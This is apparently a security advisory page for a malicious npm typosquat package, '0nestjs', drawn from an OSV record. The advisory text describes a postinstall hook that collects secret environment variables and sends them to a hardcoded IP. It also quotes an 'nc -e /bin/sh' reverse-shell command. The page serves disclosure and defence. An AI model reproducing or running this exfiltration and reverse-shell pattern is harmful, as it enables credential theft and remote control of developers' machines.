Malicious code in 0nestjs (npm)
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
osv · MAL-2026-15908
Published--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (54eee258f343282c30f3efc6b5effc8aac283b7b02421433c14dee3e14f27aa3) Package name 0nestjs targets developers mistyping `nestjs`. On `npm install`, the postinstall hook `node index.js` executes automatically and performs two attacker-benefiting actions against the installer's machine. First, it enumerates process.env and collects every variable whose name matches /^(SECRET|API|TOKEN|KEY)/, then opens a raw TCP connection to the hardcoded endpoint 84.32.22.44:9999 (loaded from servers.json) and writes the harvested secrets as JSON. Second, it invokes `nc -e /bin/sh <host> <port>` against the same 84.32.22.44:9999 endpoint, wiring /bin/sh stdio to the remote host and giving the operator interactive command execution on the installer's machine. package.json self-describes as 'Typosquat of nestjs' with author 'typosquat-bot'. ## Source: ossf-package-analysis (8e7fe3caa67347716816d33efbd052f536e41382406cf2282b2615f4bf87b797) The OpenSSF Package Analysis project identified '0nestjs' @ 0.0.1 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.
- Source published
- 3 Sep 2026 23:35:53 UTC
- Source modified
- 4 Sep 2026 05:45:05 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.